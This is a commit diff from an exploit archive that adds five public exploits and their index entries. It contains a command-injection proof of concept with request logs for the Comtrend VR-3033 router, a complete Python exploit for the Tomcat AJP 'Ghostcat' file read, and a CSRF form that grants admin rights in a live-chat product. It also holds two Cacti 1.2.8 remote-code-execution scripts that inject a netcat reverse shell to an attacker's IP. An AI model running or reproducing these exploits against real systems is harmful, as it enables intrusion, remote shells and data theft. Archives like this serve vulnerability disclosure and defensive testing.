DB: 2020-02-28

5 changes to exploits/shellcodes

Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)
Comtrend VR-3033 - Command Injection
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
Cacti 1.2.8 - Authenticated  Remote Code Execution
Cacti 1.2.8 - Unauthenticated Remote Code Execution
This commit is contained in:
Offensive Security 2020-02-28 05:01:52 +00:00
parent 2d45ff4f39
commit 02aee6c80e
6 changed files with 664 additions and 0 deletions

View file

@ -0,0 +1,179 @@
# Title: Comtrend VR-3033 - Authenticated Command Injection
# Date: 2020-02-26
# Author: Author : Raki Ben Hamouda
# Vendor: https://us.comtrend.com
# Product link: https://us.comtrend.com/products/vr-3030/
# CVE: N/A
The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection
vulnerability via ping and traceroute diagnostic page.
Remote attackers are able to get full control and compromise the network
managed by the router.
Note : This bug may exist in other Comtrend routers .
===============================================
Product Page :
https://us.comtrend.com/products/vr-3030/
Firmware version :
DE11-416SSG-C01_R02.A2pvI042j1.d26m
Bootloader (CFE) Version :
1.0.38-116.228-1
To reproduce the vulnerability attacker has to access the interface at
least with minimum privilege.
1- Open interface
2- click on 'Diagnostic' tab on top.
3- click then on 'Ping' or traceroute
4- on the text input, type 'google.fr;ls - l'
5 - a list of folder names should appear.
#############################
POC session Logs :
GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0)
Gecko/20100101 Firefox/73.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dXNlcjp1c2Vy
Connection: close
Referer: http://192.168.0.1/pingview.cmd
Upgrade-Insecure-Requests: 1
=====================++RESPONSE++=====================
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Fri, 02 Jan 1970 00:00:26 GMT
Content-Type: text/html
Connection: close
<html><head>
<meta HTTP-EQUIV="Pragma" CONTENT='no-cache'>
<link rel="stylesheet" href='stylemain.css' type='text/css'>
<link rel="stylesheet" href='colors.css' type='text/css'>
<script language="javascript" src="util.js">
</script>
<script language="javascript">
<!-- hide
function btnPing() {
var loc = 'ping.cgi?';
with ( document.forms[0] ) {
if (pingIpAddress.value.length == 0 ) {
return;
}
loc += 'pingIpAddress=' + pingIpAddress.value;
loc += '&sessionKey=1592764063';
}
var code = 'location="' + loc + '"';
eval(code);
}
// done hiding -->
</script>
</head>
<body>
<blockquote>
<form>
<b>Ping&nbsp;</b><br>
<br> Send ICMP ECHO_REQUEST packets to network hosts.<br>
<br><table border="0" cellpadding="0" cellspacing="0"><tr>
<td width="170">Ping IP Address / Hostname:</td>
<td width="170"><input type='text' name='pingIpAddress'
onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td>
<td width=""><input type='button' onClick='btnPing()' value='Ping'></td>
</tr></table><br>
<tr>
<td>bin
</td><br>
</tr>
<tr>
<td>bootfs
</td><br>
</tr>
<tr>
<td>data
</td><br>
</tr>
<tr>
<td>debug
</td><br>
</tr>
<tr>
<td>dev
</td><br>
</tr>
<tr>
<td>etc
</td><br>
</tr>
<tr>
<td>lib
</td><br>
</tr>
<tr>
<td>linuxrc
</td><br>
</tr>
<tr>
<td>mnt
</td><br>
</tr>
<tr>
<td>opt
</td><br>
</tr>
<tr>
<td>proc
</td><br>
</tr>
<tr>
<td>sbin
</td><br>
</tr>
<tr>
<td>sys
</td><br>
</tr>
<tr>
<td>tmp
</td><br>
</tr>
<tr>
<td>usr
</td><br>
</tr>
<tr>
<td>var
</td><br>
</tr>
<tr>
<td>webs
</td><br>
</tr>
</form>
</blockquote>
</body>
</html>
##Same bug with the same way we exploited in ping function can be exploited
the same way in traceroute function.
===========
##Timeline :
*Bug sent to vendor : 17-02-2020
*No Response after 10 days
* Public disclosure: 27-02-020

View file

@ -0,0 +1,302 @@
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))

View file

@ -0,0 +1,99 @@
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()

View file

@ -0,0 +1,40 @@
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 4:
print("[~] Usage : ./Cacti-exploit.py url ip port")
exit()
url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
def send_exploit(url):
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
path = url+"/graph_realtime.php?action=init"
req = requests.get(path)
if req.status_code == 200 and "poller_realtime.php" in req.text:
print("[+] File Found and Guest is enabled!")
print("[+] Sending malicous request, check your nc ;)")
requests.get(path, cookies=cookies)
else:
print("[+] Error while requesting the file!")
send_exploit(url)

View file

@ -0,0 +1,39 @@
# Exploit Title: Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)
# Description: Operator Can Change Role User Type to admin
# Date: 2020-02-26
# Exploit Author: Meisam Monsef
# Vendor Homepage: https://www.bdtask.com/business-live-chat-software.php
# Version: V-1.0
# Tested on: ubuntu
Exploit :
1 - please login or create account
2 - open exploit.html in browser
3 - change you user id input for Change Role User Type to admin
4 - fill input data (fname - lname - email)
5 - click Update Button
6 - logout account
7 - login again you are admin & Enjoying
<form action="https://TARGET/admin/user/users/create"
enctype="multipart/form-data" method="post" accept-charset="utf-8">
user_id :
<input type="text" name="user_id" value="1"> <!-- change your user_id -->
<br>
fname :
<input type="text" name="fname" value="" /> <!-- fill your first name -->
<br>
lname :
<input type="text" name="lname" value="" /> <!-- fill your last name -->
<br>
email :
<input type="text" name="email" value="" /> <!-- fill your email -->
<br>
user_type :
<input type="text" name="user_type" value="1" />
<br>
status :
<input type="text" name="status" value="1" />
<br>
<button type="submit">Update</button>
</form>

View file

@ -42409,3 +42409,8 @@ id,file,description,date,author,type,platform,port
48134,exploits/php/webapps/48134.php,"WordPress Plugin WooCommerce CardGate Payment Gateway 3.1.15 - Payment Process Bypass",2020-02-25,GeekHack,webapps,php,
48135,exploits/php/webapps/48135.php,"Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass",2020-02-25,GeekHack,webapps,php,
48138,exploits/php/webapps/48138.txt,"PhpIX 2012 Professional - 'id' SQL Injection",2020-02-26,indoushka,webapps,php,
48141,exploits/php/webapps/48141.txt,"Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)",2020-02-27,"Meisam Monsef",webapps,php,
48142,exploits/hardware/webapps/48142.txt,"Comtrend VR-3033 - Command Injection",2020-02-27,"Raki Ben Hamouda",webapps,hardware,
48143,exploits/multiple/webapps/48143.py,"Apache Tomcat - AJP 'Ghostcat File Read/Inclusion",2020-02-20,YDHCUI,webapps,multiple,
48144,exploits/multiple/webapps/48144.py,"Cacti 1.2.8 - Authenticated Remote Code Execution",2020-02-03,Askar,webapps,multiple,
48145,exploits/multiple/webapps/48145.py,"Cacti 1.2.8 - Unauthenticated Remote Code Execution",2020-02-03,Askar,webapps,multiple,

Can't render this file because it is too large.